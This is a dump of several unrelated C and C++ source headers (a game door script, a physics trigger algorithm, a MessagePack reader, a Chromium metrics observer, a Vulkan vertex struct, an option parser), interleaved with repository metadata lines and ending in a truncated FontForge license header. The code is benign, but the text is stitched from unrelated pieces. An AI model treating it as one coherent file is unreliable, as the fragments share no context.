| 34.686441 | 77 | 0.645981 | [
"render"
] |
d6d3ddc5ca627e48fbfb0d40e0a1d36b1783ee45 | 722 | h | C | Project/Platformer/Source/DoorFunny.h | Deklyn-Palmer/Kross-Engine-Game | 6ea927a4ef2407334ac3bcb5f80bf82bfe5648be | [
"Apache-2.0"
] | null | null | null | Project/Platformer/Source/DoorFunny.h | Deklyn-Palmer/Kross-Engine-Game | 6ea927a4ef2407334ac3bcb5f80bf82bfe5648be | [
"Apache-2.0"
] | null | null | null | Project/Platformer/Source/DoorFunny.h | Deklyn-Palmer/Kross-Engine-Game | 6ea927a4ef2407334ac3bcb5f80bf82bfe5648be | [
"Apache-2.0"
] | null | null | null | #pragma once
#include <Kross.h>
using namespace Kross;
class DoorFunny : public Script
{
public:
DoorFunny()
{
/* Every Script Must do this! */
m_Name = "DoorFunny";
};
~DoorFunny() {};
bool m_Open = false;
Rigidbody2D* m_Rigidbody = nullptr;
Object* m_Player = nullptr;
Script* Duplicate() override
{
return KROSS_NEW DoorFunny();
}
void Start() override
{
m_Rigidbody = GetComponent<Rigidbody2D>();
m_Player = SceneManager::GetScene()->FindObject("Player");
}
void Update() override
{
if (m_Player->m_Transform->m_Position.x > m_GameObject->m_Transform->m_Position.x)
{
if (!m_Open)
{
m_Open = true;
m_Rigidbody->OnApplyImpulse(Vector2(10.0f, 0.0f));
}
}
}
}; | 16.409091 | 84 | 0.65928 | [
"object"
] |
d6d72dc7b4e1c75d65494ed29f0aac2ce09debb8 | 669 | h | C | L1Trigger/L1TCalorimeter/interface/Stage2Layer2ClusterAlgorithm.h | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | 3 | 2018-08-24T19:10:26.000Z | 2019-02-19T11:45:32.000Z | L1Trigger/L1TCalorimeter/interface/Stage2Layer2ClusterAlgorithm.h | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | 3 | 2018-08-23T13:40:24.000Z | 2019-12-05T21:16:03.000Z | L1Trigger/L1TCalorimeter/interface/Stage2Layer2ClusterAlgorithm.h | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | 5 | 2018-08-21T16:37:52.000Z | 2020-01-09T13:33:17.000Z | ///step03
/// \class l1t::Stage2Layer2ClusterAlgorithm
///
/// Description: clustering algorithm for stage 2
///
/// Implementation:
///
/// \author: Jim Brooke - University of Bristol
///
//
#ifndef Stage2Layer2ClusterAlgorithm_h
#define Stage2Layer2ClusterAlgorithm_h
#include "DataFormats/L1TCalorimeter/interface/CaloTower.h"
#include "DataFormats/L1TCalorimeter/interface/CaloCluster.h"
namespace l1t {
class Stage2Layer2ClusterAlgorithm {
public:
virtual void processEvent(const std::vector<l1t::CaloTower> & towers,
std::vector<l1t::CaloCluster> & clusters) = 0;
virtual ~Stage2Layer2ClusterAlgorithm(){};
};
}
#endif
| 20.90625 | 73 | 0.721973 | [
"vector"
] |
d6de8ca79f3724e7339ac7c26f63c88145af1d0c | 5,513 | h | C | wasm/mp.h | kestrelm/Creature_WebGL_Distro | 3d7f3563d183eef165aefeb6a3fbd9669b9f78af | [
"Apache-2.0"
] | 208 | 2015-06-15T05:28:16.000Z | 2022-03-28T06:32:26.000Z | wasm/mp.h | kestrelm/Creature_WebGL_Distro | 3d7f3563d183eef165aefeb6a3fbd9669b9f78af | [
"Apache-2.0"
] | 15 | 2016-02-08T17:23:38.000Z | 2021-12-28T15:44:05.000Z | wasm/mp.h | kestrelm/Creature_WebGL_Distro | 3d7f3563d183eef165aefeb6a3fbd9669b9f78af | [
"Apache-2.0"
] | 70 | 2015-06-21T14:06:53.000Z | 2022-02-19T04:19:09.000Z | #pragma once
#include <vector>
#include <array>
#include <string>
#include <cstring>
#include <sstream>
#include <iostream>
#include <functional>
// BareBones MessagePack Reader, only handles ints, floats, arrays and strings
namespace mpMini {
enum {
MSG_MINI_GENERIC_INT_TYPE,
MSG_MINI_GENERIC_FLOAT_TYPE,
MSG_MINI_GENERIC_STRING_TYPE,
MSG_MINI_GENERIC_ARRAY_INT_TYPE,
MSG_MINI_GENERIC_ARRAY_FLOAT_TYPE,
MSG_MINI_GENERIC_ARRAY_STRING_TYPE,
MSG_MINI_GENERIC_ARRAY_BYTE_TYPE
};
class msg_mini_generic_data {
public:
msg_mini_generic_data(int32_t type_in)
{
type = type_in;
int_val = 0;
float_val = 0;
}
int32_t type;
int32_t int_val;
float float_val;
std::string string_val;
std::vector<int32_t> int_array_val;
std::vector<float> float_array_val;
std::vector<uint8_t> byte_array_val;
std::vector<std::string> str_array_val;
};
union msg_mini_object_data {
bool boolean;
uint8_t u8;
uint16_t u16;
uint32_t u32;
uint64_t u64;
int8_t s8;
int16_t s16;
int32_t s32;
int64_t s64;
float flt;
double dbl;
uint32_t array_size;
uint32_t map_size;
uint32_t str_size;
};
class msg_mini_object {
public:
uint8_t type;
union msg_mini_object_data as;
};
class msg_mini {
protected:
uint8_t error;
std::vector<uint8_t> buf;
uint32_t read_idx, store_read_idx;
std::vector<msg_mini_generic_data> generic_data;
bool read_one_byte(uint8_t *x);
bool read_marker_type(uint8_t *marker);
void store_read_pos()
{
store_read_idx = read_idx;
}
void restore_read_pos()
{
read_idx = store_read_idx;
}
public:
msg_mini(const std::vector<uint8_t>& buf_in)
{
error = 0;
buf = buf_in;
read_idx = 0;
store_read_idx = 0;
msg_mini_build_generic_objects();
}
virtual ~msg_mini() {}
bool read(void *data, size_t limit)
{
if (is_at_end())
{
// end of buffer
return false;
}
uint8_t * base_ptr = &buf[read_idx];
//memcpy_s(data, limit, base_ptr, limit);
std::memcpy(data, base_ptr, limit);
read_idx += (uint32_t)limit;
return true;
}
bool readBytesChunk(size_t limit, std::function<void(int, uint8_t)> readCB)
{
if (is_at_end())
{
// end of buffer
return false;
}
uint8_t * base_ptr = &buf[read_idx];
for (size_t i = 0; i < limit; i++)
{
readCB(i, base_ptr[i]);
read_idx++;
}
return true;
}
bool is_at_end() const {
return read_idx >= buf.size();
}
void reset_read()
{
read_idx = 0;
}
/*
* Actual Calls
*/
const char* get_strerror() const;
bool
msg_mini_build_generic_objects();
const std::vector<msg_mini_generic_data>&
msg_mini_get_generic_objects() const;
bool msg_mini_read_int(int32_t *i);
bool msg_mini_read_real(float *d);
bool msg_mini_read_nil();
bool msg_mini_read_bool(bool *b);
bool msg_mini_read_str_size(uint32_t *size);
bool msg_mini_read_str(std::string& data);
bool msg_mini_read_bin(uint32_t *size);
bool msg_mini_read_array(uint32_t *size);
bool msg_mini_read_object(msg_mini_object *obj);
/* Data calls
*/
bool msg_mini_read_pfix(uint8_t *c);
bool msg_mini_read_nfix(int8_t *c);
bool msg_mini_read_sfix(int8_t *c);
bool msg_mini_read_s8(int8_t *c);
bool msg_mini_read_s16(int16_t *s);
bool msg_mini_read_s32(int32_t *i);
bool msg_mini_read_s64(int64_t *l);
bool msg_mini_read_ufix(uint8_t *c);
bool msg_mini_read_u8(uint8_t *c);
bool msg_mini_read_u16(uint16_t *s);
bool msg_mini_read_u32(uint32_t *i);
bool msg_mini_read_u64(uint64_t *l);
bool msg_mini_read_float(float *f);
bool msg_mini_read_double(double *d);
/* Object calls
*/
bool msg_mini_object_is_char(msg_mini_object *obj);
bool msg_mini_object_is_short(msg_mini_object *obj);
bool msg_mini_object_is_int(msg_mini_object *obj);
bool msg_mini_object_is_long(msg_mini_object *obj);
bool msg_mini_object_is_sinteger(msg_mini_object *obj);
bool msg_mini_object_is_uchar(msg_mini_object *obj);
bool msg_mini_object_is_ushort(msg_mini_object *obj);
bool msg_mini_object_is_uint(msg_mini_object *obj);
bool msg_mini_object_is_ulong(msg_mini_object *obj);
bool msg_mini_object_is_uinteger(msg_mini_object *obj);
bool msg_mini_object_is_float(msg_mini_object *obj);
bool msg_mini_object_is_double(msg_mini_object *obj);
bool msg_mini_object_is_nil(msg_mini_object *obj);
bool msg_mini_object_is_bool(msg_mini_object *obj);
bool msg_mini_object_is_str(msg_mini_object *obj);
bool msg_mini_object_is_bin(msg_mini_object *obj);
bool msg_mini_object_is_array(msg_mini_object *obj);
bool msg_mini_object_is_map(msg_mini_object *obj);
bool msg_mini_object_as_char(msg_mini_object *obj, int8_t *c);
bool msg_mini_object_as_short(msg_mini_object *obj, int16_t *s);
bool msg_mini_object_as_int(msg_mini_object *obj, int32_t *i);
bool msg_mini_object_as_long(msg_mini_object *obj, int64_t *d);
bool msg_mini_object_as_sinteger(msg_mini_object *obj, int64_t *d);
bool msg_mini_object_as_float(msg_mini_object *obj, float *f);
bool msg_mini_object_as_double(msg_mini_object *obj, double *d);
bool msg_mini_object_as_bool(msg_mini_object *obj, bool *b);
bool msg_mini_object_as_str(msg_mini_object *obj, uint32_t *size);
bool msg_mini_object_as_array(msg_mini_object *obj, uint32_t *size);
bool msg_mini_object_as_map(msg_mini_object *obj, uint32_t *size);
bool msg_mini_object_to_str(msg_mini_object *obj, char *data, uint32_t buf_size);
};
} | 23.660944 | 83 | 0.735716 | [
"object",
"vector"
] |
d6e3632efdbcb89fda6380f30182a3617fffd530 | 6,117 | h | C | Wexport/release/windows/obj/include/flixel/system/debug/interaction/Interaction.h | BushsHaxs/FNF-coding-tutorial | 596c6a938eb687440cbcddda9a4005db67bc68bb | [
"Apache-2.0"
] | 1 | 2021-07-19T05:10:43.000Z | 2021-07-19T05:10:43.000Z | Wexport/release/windows/obj/include/flixel/system/debug/interaction/Interaction.h | BushsHaxs/FNF-coding-tutorial | 596c6a938eb687440cbcddda9a4005db67bc68bb | [
"Apache-2.0"
] | null | null | null | Wexport/release/windows/obj/include/flixel/system/debug/interaction/Interaction.h | BushsHaxs/FNF-coding-tutorial | 596c6a938eb687440cbcddda9a4005db67bc68bb | [
"Apache-2.0"
] | 1 | 2021-12-11T09:19:29.000Z | 2021-12-11T09:19:29.000Z | #ifndef INCLUDED_flixel_system_debug_interaction_Interaction
#define INCLUDED_flixel_system_debug_interaction_Interaction
#ifndef HXCPP_H
#include <hxcpp.h>
#endif
#ifndef INCLUDED_flixel_system_debug_Window
#include <flixel/system/debug/Window.h>
#endif
HX_DECLARE_CLASS1(flixel,FlxBasic)
HX_DECLARE_CLASS1(flixel,FlxState)
HX_DECLARE_CLASS2(flixel,group,FlxTypedGroup)
HX_DECLARE_CLASS2(flixel,input,FlxPointer)
HX_DECLARE_CLASS2(flixel,math,FlxPoint)
HX_DECLARE_CLASS2(flixel,math,FlxRect)
HX_DECLARE_CLASS3(flixel,_hx_system,debug,Window)
HX_DECLARE_CLASS4(flixel,_hx_system,debug,interaction,Interaction)
HX_DECLARE_CLASS5(flixel,_hx_system,debug,interaction,tools,Tool)
HX_DECLARE_CLASS2(flixel,util,IFlxDestroyable)
HX_DECLARE_CLASS2(flixel,util,IFlxPooled)
HX_DECLARE_CLASS1(haxe,IMap)
HX_DECLARE_CLASS2(haxe,ds,IntMap)
HX_DECLARE_CLASS2(openfl,display,BitmapData)
HX_DECLARE_CLASS2(openfl,display,DisplayObject)
HX_DECLARE_CLASS2(openfl,display,DisplayObjectContainer)
HX_DECLARE_CLASS2(openfl,display,Graphics)
HX_DECLARE_CLASS2(openfl,display,IBitmapDrawable)
HX_DECLARE_CLASS2(openfl,display,InteractiveObject)
HX_DECLARE_CLASS2(openfl,display,Sprite)
HX_DECLARE_CLASS2(openfl,events,Event)
HX_DECLARE_CLASS2(openfl,events,EventDispatcher)
HX_DECLARE_CLASS2(openfl,events,IEventDispatcher)
HX_DECLARE_CLASS2(openfl,events,KeyboardEvent)
HX_DECLARE_CLASS2(openfl,events,MouseEvent)
namespace flixel{
namespace _hx_system{
namespace debug{
namespace interaction{
class HXCPP_CLASS_ATTRIBUTES Interaction_obj : public ::flixel::_hx_system::debug::Window_obj
{
public:
typedef ::flixel::_hx_system::debug::Window_obj super;
typedef Interaction_obj OBJ_;
Interaction_obj();
public:
enum { _hx_ClassId = 0x5af6f2c8 };
void __construct( ::openfl::display::Sprite container);
inline void *operator new(size_t inSize, bool inContainer=true,const char *inName="flixel.system.debug.interaction.Interaction")
{ return ::hx::Object::operator new(inSize,inContainer,inName); }
inline void *operator new(size_t inSize, int extra)
{ return ::hx::Object::operator new(inSize+extra,true,"flixel.system.debug.interaction.Interaction"); }
static ::hx::ObjectPtr< Interaction_obj > __new( ::openfl::display::Sprite container);
static ::hx::ObjectPtr< Interaction_obj > __alloc(::hx::Ctx *_hx_ctx, ::openfl::display::Sprite container);
static void * _hx_vtable;
static Dynamic __CreateEmpty();
static Dynamic __Create(::hx::DynamicArray inArgs);
//~Interaction_obj();
HX_DO_RTTI_ALL;
::hx::Val __Field(const ::String &inString, ::hx::PropertyAccess inCallProp);
::hx::Val __SetField(const ::String &inString,const ::hx::Val &inValue, ::hx::PropertyAccess inCallProp);
void __GetFields(Array< ::String> &outFields);
static void __register();
void __Mark(HX_MARK_PARAMS);
void __Visit(HX_VISIT_PARAMS);
bool _hx_isInstanceOf(int inClassId);
::String __ToString() const { return HX_("Interaction",b2,cf,8b,20); }
::flixel::_hx_system::debug::interaction::tools::Tool activeTool;
::flixel::group::FlxTypedGroup selectedItems;
::flixel::math::FlxPoint flixelPointer;
bool pointerJustPressed;
bool pointerJustReleased;
bool pointerPressed;
bool shouldDrawItemsSelection;
::openfl::display::Sprite _container;
::openfl::display::Sprite _customCursor;
::Array< ::Dynamic> _tools;
int _turn;
::haxe::ds::IntMap _keysDown;
::haxe::ds::IntMap _keysUp;
bool _wasMouseVisible;
bool _wasUsingSystemCursor;
bool _debuggerInteraction;
::flixel::input::FlxPointer _flixelPointer;
void handleDebuggerVisibilityChanged();
::Dynamic handleDebuggerVisibilityChanged_dyn();
void updateMouse( ::openfl::events::MouseEvent event);
::Dynamic updateMouse_dyn();
void handleMouseClick( ::openfl::events::MouseEvent event);
::Dynamic handleMouseClick_dyn();
bool belongsToDebugger( ::openfl::display::DisplayObject object);
::Dynamic belongsToDebugger_dyn();
void handleMouseInDebugger( ::openfl::events::MouseEvent event);
::Dynamic handleMouseInDebugger_dyn();
void handleKeyEvent( ::openfl::events::KeyboardEvent event);
::Dynamic handleKeyEvent_dyn();
int countToolsWithUIButton();
::Dynamic countToolsWithUIButton_dyn();
void addTool( ::flixel::_hx_system::debug::interaction::tools::Tool tool);
::Dynamic addTool_dyn();
void destroy();
bool isActive();
::Dynamic isActive_dyn();
void update();
void postDraw();
::Dynamic postDraw_dyn();
::openfl::display::Graphics getDebugGraphics();
::Dynamic getDebugGraphics_dyn();
void drawItemsSelection();
::Dynamic drawItemsSelection_dyn();
::flixel::_hx_system::debug::interaction::tools::Tool getTool(::hx::Class className);
::Dynamic getTool_dyn();
void toggleVisible();
void registerCustomCursor(::String name, ::openfl::display::BitmapData icon);
::Dynamic registerCustomCursor_dyn();
void updateCustomCursors();
::Dynamic updateCustomCursors_dyn();
void saveSystemCursorInfo();
::Dynamic saveSystemCursorInfo_dyn();
void restoreSystemCursor();
::Dynamic restoreSystemCursor_dyn();
void setActiveTool( ::flixel::_hx_system::debug::interaction::tools::Tool value);
::Dynamic setActiveTool_dyn();
void setSystemCursorVisibility(bool status);
::Dynamic setSystemCursorVisibility_dyn();
void setToolsCursorVisibility(bool status);
::Dynamic setToolsCursorVisibility_dyn();
void clearSelection();
::Dynamic clearSelection_dyn();
bool keyPressed(int key);
::Dynamic keyPressed_dyn();
bool keyJustPressed(int key);
::Dynamic keyJustPressed_dyn();
bool isInUse();
::Dynamic isInUse_dyn();
void findItemsWithinState(::Array< ::Dynamic> items, ::flixel::FlxState state, ::flixel::math::FlxRect area);
::Dynamic findItemsWithinState_dyn();
void findItemsWithinArea(::Array< ::Dynamic> items,::Array< ::Dynamic> members, ::flixel::math::FlxRect area);
::Dynamic findItemsWithinArea_dyn();
};
} // end namespace flixel
} // end namespace system
} // end namespace debug
} // end namespace interaction
#endif /* INCLUDED_flixel_system_debug_interaction_Interaction */
| 33.244565 | 130 | 0.772764 | [
"object"
] |
d6ef635daa79fc8494fff447c3b84d010b5af212 | 418 | h | C | benchmark/Common.h | Kashio/A5 | fce756b2af07249df821dea364b33ed9e8499714 | [
"MIT"
] | 17 | 2020-06-09T22:30:11.000Z | 2022-03-17T15:34:28.000Z | benchmark/Common.h | Kashio/A5 | fce756b2af07249df821dea364b33ed9e8499714 | [
"MIT"
] | 1 | 2020-08-19T15:16:23.000Z | 2020-08-19T16:03:20.000Z | benchmark/Common.h | Kashio/A5 | fce756b2af07249df821dea364b33ed9e8499714 | [
"MIT"
] | null | null | null | #ifndef COMMON_H
#define COMMON_H
#include <vector>
extern std::size_t s_MaxAlignment;
extern std::size_t s_NumOfRandAllocations;
extern std::size_t s_MaxBlockSize;
extern std::size_t s_1GB;
extern std::vector<std::size_t> s_Sizes;
extern std::vector<std::size_t> s_RandomSizes;
extern std::vector<std::size_t> s_DeallocationIndices;
namespace Utils
{
int SelectRandomly(int min, int max);
};
#endif // !COMMON_H
| 20.9 | 54 | 0.777512 | [
"vector"
] |
d6f28ed04a75a10426b44c03fe31154d57463a08 | 1,308 | h | C | L1Trigger/CSCTriggerPrimitives/interface/PulseArray.h | Purva-Chaudhari/cmssw | 32e5cbfe54c4d809d60022586cf200b7c3020bcf | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | L1Trigger/CSCTriggerPrimitives/interface/PulseArray.h | Purva-Chaudhari/cmssw | 32e5cbfe54c4d809d60022586cf200b7c3020bcf | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | L1Trigger/CSCTriggerPrimitives/interface/PulseArray.h | Purva-Chaudhari/cmssw | 32e5cbfe54c4d809d60022586cf200b7c3020bcf | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | #ifndef L1Trigger_CSCTriggerPrimitives_PulseArray_h
#define L1Trigger_CSCTriggerPrimitives_PulseArray_h
/** \class PulseArray
*
*/
#include "DataFormats/CSCDigi/interface/CSCConstants.h"
#include "L1Trigger/CSCTriggerPrimitives/interface/CSCPatternBank.h"
class PulseArray {
public:
// constructor
PulseArray();
// set the dimensions
void initialize(unsigned numberOfChannels);
// clear the pulse array
void clear();
unsigned& operator()(const unsigned layer, const unsigned channel);
unsigned bitsInPulse() const;
// make the pulse at time "bx" with length "hit_persist"
void extend(const unsigned layer, const unsigned channel, const unsigned bx, const unsigned hit_persist);
// check "one shot" at this bx_time
bool oneShotAtBX(const unsigned layer, const unsigned channel, const unsigned bx) const;
// check if "one shot" is high at this bx_time
bool isOneShotHighAtBX(const unsigned layer, const unsigned channel, const unsigned bx) const;
// This loop is a quick check of a number of layers hit at bx_time: since
// most of the time it is 0, this check helps to speed-up the execution
// substantially.
unsigned numberOfLayersAtBX(const unsigned bx) const;
private:
std::vector<std::vector<unsigned> > data_;
unsigned numberOfChannels_;
};
#endif
| 28.434783 | 107 | 0.759939 | [
"vector"
] |
d6f5930ce82f707cbc8a66dd03c063ce160a5099 | 4,852 | h | C | components/page_load_metrics/browser/observers/use_counter_page_load_metrics_observer.h | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 14,668 | 2015-01-01T01:57:10.000Z | 2022-03-31T23:33:32.000Z | components/page_load_metrics/browser/observers/use_counter_page_load_metrics_observer.h | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 86 | 2015-10-21T13:02:42.000Z | 2022-03-14T07:50:50.000Z | components/page_load_metrics/browser/observers/use_counter_page_load_metrics_observer.h | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 5,941 | 2015-01-02T11:32:21.000Z | 2022-03-31T16:35:46.000Z | // Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef COMPONENTS_PAGE_LOAD_METRICS_BROWSER_OBSERVERS_USE_COUNTER_PAGE_LOAD_METRICS_OBSERVER_H_
#define COMPONENTS_PAGE_LOAD_METRICS_BROWSER_OBSERVERS_USE_COUNTER_PAGE_LOAD_METRICS_OBSERVER_H_
#include <bitset>
#include "base/containers/flat_set.h"
#include "components/page_load_metrics/browser/page_load_metrics_observer.h"
#include "third_party/blink/public/mojom/permissions_policy/permissions_policy_feature.mojom.h"
#include "third_party/blink/public/mojom/use_counter/css_property_id.mojom.h"
#include "third_party/blink/public/mojom/use_counter/use_counter_feature.mojom-forward.h"
#include "third_party/blink/public/mojom/web_feature/web_feature.mojom.h"
namespace internal {
const char kFeaturesHistogramName[] = "Blink.UseCounter.Features";
const char kFeaturesHistogramMainFrameName[] =
"Blink.UseCounter.MainFrame.Features";
const char kCssPropertiesHistogramName[] = "Blink.UseCounter.CSSProperties";
const char kAnimatedCssPropertiesHistogramName[] =
"Blink.UseCounter.AnimatedCSSProperties";
const char kPermissionsPolicyViolationHistogramName[] =
"Blink.UseCounter.PermissionsPolicy.Violation.Enforce";
const char kPermissionsPolicyHeaderHistogramName[] =
"Blink.UseCounter.PermissionsPolicy.Header2";
const char kPermissionsPolicyIframeAttributeHistogramName[] =
"Blink.UseCounter.PermissionsPolicy.Allow2";
} // namespace internal
class UseCounterPageLoadMetricsObserver
: public page_load_metrics::PageLoadMetricsObserver {
public:
UseCounterPageLoadMetricsObserver();
UseCounterPageLoadMetricsObserver(const UseCounterPageLoadMetricsObserver&) =
delete;
UseCounterPageLoadMetricsObserver& operator=(
const UseCounterPageLoadMetricsObserver&) = delete;
~UseCounterPageLoadMetricsObserver() override;
// page_load_metrics::PageLoadMetricsObserver.
ObservePolicy OnCommit(content::NavigationHandle* navigation_handle,
ukm::SourceId source_id) override;
void OnFeaturesUsageObserved(
content::RenderFrameHost* rfh,
const std::vector<blink::UseCounterFeature>&) override;
void OnComplete(
const page_load_metrics::mojom::PageLoadTiming& timing) override;
void OnFailedProvisionalLoad(
const page_load_metrics::FailedProvisionalLoadInfo&
failed_provisional_load_info) override;
ObservePolicy OnEnterBackForwardCache(
const page_load_metrics::mojom::PageLoadTiming& timing) override;
ObservePolicy FlushMetricsOnAppEnterBackground(
const page_load_metrics::mojom::PageLoadTiming& timing) override;
ObservePolicy ShouldObserveMimeType(
const std::string& mime_type) const override;
using UkmFeatureList = base::flat_set<blink::mojom::WebFeature>;
private:
// Returns a list of opt-in UKM features for use counter.
static const UkmFeatureList& GetAllowedUkmFeatures();
// Records an `UseCounterFeature` through UMA_HISTOGRAM_ENUMERATION if
// the feature has not been recorded before.
void RecordUseCounterFeature(content::RenderFrameHost*,
const blink::UseCounterFeature&);
// Records a WebFeature in main frame if `rfh` is a main frame and the feature
// has not been recorded before.
void RecordMainFrameWebFeature(content::RenderFrameHost*,
blink::mojom::WebFeature);
// Records UKM subset of WebFeatures, if the WebFeature is observed in the
// page.
void RecordUkmFeatures();
// To keep tracks of which features have been measured.
std::bitset<static_cast<size_t>(blink::mojom::WebFeature::kNumberOfFeatures)>
features_recorded_;
std::bitset<static_cast<size_t>(blink::mojom::WebFeature::kNumberOfFeatures)>
main_frame_features_recorded_;
std::bitset<static_cast<size_t>(blink::mojom::CSSSampleId::kMaxValue) + 1>
css_properties_recorded_;
std::bitset<static_cast<size_t>(blink::mojom::CSSSampleId::kMaxValue) + 1>
animated_css_properties_recorded_;
std::bitset<static_cast<size_t>(blink::mojom::WebFeature::kNumberOfFeatures)>
ukm_features_recorded_;
std::bitset<static_cast<size_t>(
blink::mojom::PermissionsPolicyFeature::kMaxValue) +
1>
violated_permissions_policy_features_recorded_;
std::bitset<static_cast<size_t>(
blink::mojom::PermissionsPolicyFeature::kMaxValue) +
1>
iframe_permissions_policy_features_recorded_;
std::bitset<static_cast<size_t>(
blink::mojom::PermissionsPolicyFeature::kMaxValue) +
1>
header_permissions_policy_features_recorded_;
};
#endif // COMPONENTS_PAGE_LOAD_METRICS_BROWSER_OBSERVERS_USE_COUNTER_PAGE_LOAD_METRICS_OBSERVER_H_
| 44.513761 | 99 | 0.772259 | [
"vector"
] |
d6f5a98714624a128d07b27b5579774d18a709b2 | 1,608 | h | C | parseopt.h | felsocim/parseopt | e6c142cee9ef958f9a66e5aafb57f1ec2dc00170 | [
"MIT"
] | null | null | null | parseopt.h | felsocim/parseopt | e6c142cee9ef958f9a66e5aafb57f1ec2dc00170 | [
"MIT"
] | null | null | null | parseopt.h | felsocim/parseopt | e6c142cee9ef958f9a66e5aafb57f1ec2dc00170 | [
"MIT"
] | null | null | null | /**
* This file is part of the parseopt library.
*
* Author: Marek Felsoci
*
* MIT License (see LICENSE file)
**/
#ifndef __PARSEOPT_H
#define __PARSEOPT_H
#include <string>
#include <vector>
#include <iostream>
extern std::vector<std::string> optparams; // Stores arguments provided (if any) to the currently parsed option
extern int optindex; // Index of the currently parsed option
class option {
private:
char short_option;
int parameters_count;
std::string long_option;
bool long_only;
public:
option();
option(char short_option, int parameters_count = 0, std::string long_option = "");
option(std::string long_option, int parameters_count = 0);
char getShortOption() const;
int getParametersCount() const;
std::string getLongOption() const;
bool getLongOnly() const;
void setShortOption(char short_option);
void setParametersCount(int parameters_count);
void setLongOption(std::string long_option);
void setLongOnly(bool long_only);
bool isEmpty() const;
bool operator==(const option &other);
bool operator==(const char &other);
bool operator==(const std::string &other);
bool operator!=(const option &other);
bool operator!=(const char &other);
bool operator!=(const std::string &other);
};
const static option optend = option(-1), // Defines the end of the list of options
optunknown = option('?'); // Defines an unknown option
option parseopt(const int argc, const char * const * argv, std::vector<option> options);
#endif // __PARSEOPT_H
| 30.923077 | 112 | 0.682836 | [
"vector"
] |
d6f77500d628ca3ab1e7169a85b7d73213b26620 | 1,430 | h | C | code/04_usando_buffer_de_vertice/model.h | gustavohb/vulkan-qt-tutorial | 3034872eea8e9675292f41f1459fb1e9d6fbfb52 | [
"MIT"
] | 2 | 2020-09-07T13:00:21.000Z | 2021-08-30T09:52:56.000Z | code/04_usando_buffer_de_vertice/model.h | gustavohb/vulkan-qt-tutorial | 3034872eea8e9675292f41f1459fb1e9d6fbfb52 | [
"MIT"
] | null | null | null | code/04_usando_buffer_de_vertice/model.h | gustavohb/vulkan-qt-tutorial | 3034872eea8e9675292f41f1459fb1e9d6fbfb52 | [
"MIT"
] | 3 | 2020-09-07T13:00:31.000Z | 2021-08-30T09:52:57.000Z | #ifndef MODEL_H
#define MODEL_H
#include <QVector2D>
#include <QVector3D>
#include <QVector>
#include <array>
struct Vertex {
QVector2D pos;
QVector3D color;
static VkVertexInputBindingDescription getBindingDescription() {
VkVertexInputBindingDescription bindingDescription = {};
bindingDescription.inputRate = VK_VERTEX_INPUT_RATE_VERTEX;
bindingDescription.stride = sizeof(Vertex);
bindingDescription.binding = 0;
return bindingDescription;
}
static std::array<VkVertexInputAttributeDescription, 2> getAttributeDescriptions() {
std::array<VkVertexInputAttributeDescription, 2> attributeDescriptions = {};
attributeDescriptions[0].binding = 0;
attributeDescriptions[0].location = 0;
attributeDescriptions[0].format = VK_FORMAT_R32G32_SFLOAT;
attributeDescriptions[0].offset = offsetof(Vertex, pos);
attributeDescriptions[1].binding = 0;
attributeDescriptions[1].location = 1;
attributeDescriptions[1].format = VK_FORMAT_R32G32B32_SFLOAT;
attributeDescriptions[1].offset = offsetof(Vertex, color);
return attributeDescriptions;
}
};
struct Model
{
Model() {};
QVector<Vertex> vertices = {
{ {0.0f, -0.5f}, {1.0f, 0.0f, 0.0f} },
{ {0.5f, 0.5f}, {0.0f, 1.0f, 0.0f} },
{ {-0.5f, 0.5f}, {0.0f, 0.0f, 1.0f} }
};
};
#endif // MODEL_H
| 27.5 | 88 | 0.66014 | [
"model"
] |
d6fb7ede3633927c6f0e58e4424fa633601d5db7 | 61,374 | c | C | fontforge/splineorder2.c | ystk/debian-fontforge | e8f4f3753bf370c780abda59d0041f8125a3aa81 | [
"BSD-3-Clause"
] | null | null | null | fontforge/splineorder2.c | ystk/debian-fontforge | e8f4f3753bf370c780abda59d0041f8125a3aa81 | [
"BSD-3-Clause"
] | null | null | null | fontforge/splineorder2.c | ystk/debian-fontforge | e8f4f3753bf370c780abda59d0041f8125a3aa81 | [
"BSD-3-Clause"
] | null | null | null | /* Copyright (C) 2000-2010 by George Williams */
/*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
* EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
